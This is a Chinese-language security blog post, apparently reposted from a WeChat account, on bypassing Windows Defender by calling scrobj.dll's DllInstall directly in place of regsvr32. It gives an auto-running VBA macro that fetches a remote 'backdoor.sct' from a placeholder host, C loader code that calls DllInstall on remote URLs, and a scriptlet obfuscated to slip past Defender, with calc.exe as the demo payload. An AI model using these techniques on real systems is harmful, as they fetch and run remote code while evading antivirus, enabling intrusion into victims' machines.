regsvr32绕过(二)

  • A+
所属分类:逆向工程

      很久之前写过一篇regsvr32绕过的文章,今天更新第二篇。


regsvr32绕过(二)


测试环境如下:


regsvr32绕过(二)


在电脑上执行:


regsvr32绕过(二)


我们看一下具体是哪里出了问题,查看windows defender的详细:


regsvr32绕过(二)


发现主要是Cmdline这里报的错,当然分类这里是因为MSF的脚本内容触发了AMSI的内容:


regsvr32绕过(二)


这里先不探究AMSI的绕过问题,只讨论执行的问题。之前已经分享过了一些绕过手法,这里只讨论之前没说过的手法即调用scrobj.dll 的 DllInstall实现代码执行。Regsvr32.exe仅仅是白名单而已,主要操作还是scrobj.dll 在做。


regsvr32绕过(二)

其函数原型为:


HRESULT DllInstall(  BOOL   bInstall,  PCWSTR pszCmdLine);


关于该函数的具体作用可以参看msdn:https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall


所以,我们便可以尝试使用该函数来实现和Regsvr32.exe一样的功能。根据该文章所言,我们可以通过VBA的方法来实现该功能:

Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen() DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") 'False ="Don't install"End Sub


其实就跟导出函数下载文件类似。sct内容如下:


<?XML version="1.0"?><component id="TESTING"><registration  progid="TESTING"  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >  <script language="JScript">    <![CDATA[      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");    ]]></script></registration></component>


regsvr32绕过(二)


不过终究宏再实战中可能受众面更窄一些,于是用C实现同样的功能,注意开启CLR:


regsvr32绕过(二)


代码来自@REInject


#include <stdio.h>#include <stdlib.h>#include <windows.h>#include <tchar.h>
int main(){ TCHAR *dllpath = _T("c:\windows\system32\scrobj.dll"); HMODULE hDllScr = LoadLibrary(dllpath); if (hDllScr == NULL) { puts("Load scrobj.dll fail!"); } puts("Load scrobj.dll success!"); printf("Address: %pn", hDllScr); void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall"); if (DllInstallProcAddr == NULL) { puts("Can not found DllInstall in scrobj.dll!"); } printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr); //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C"); ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt"); return 0;}


这个时候,我们再来看一下windows defender的反映:



regsvr32绕过(二)


此时便变成了JS的问题了,那么我们在对我们的sct文件进行变形,变成下面这样:


<?XML version="1.0"?><component id="TESTING"><registration  progid="TESTING"  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >  <script language="JScript">    <![CDATA[      var wsc = "WScript.Shell";      var com = "calc";      com.concat(".","e","x","e");      var foo = new ActiveXObject(wsc).Run(com);    ]]></script></registration></component>


执行,便成功弹出了计算器。


regsvr32绕过(二)


此时便绕过了windows defender来执行了我们的代码。

后来再查找资料的过程中,发现了一个叫做Dllinstailler的项目,简介为C# DLL Installer like regsvr32,但是后来发现,它真的只是能dll,遂放弃。


参考文章:

https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/#

https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall

https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability


     ▼
更多精彩推荐,请关注我们

regsvr32绕过(二)



本文始发于微信公众号(鸿鹄实验室):regsvr32绕过(二)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: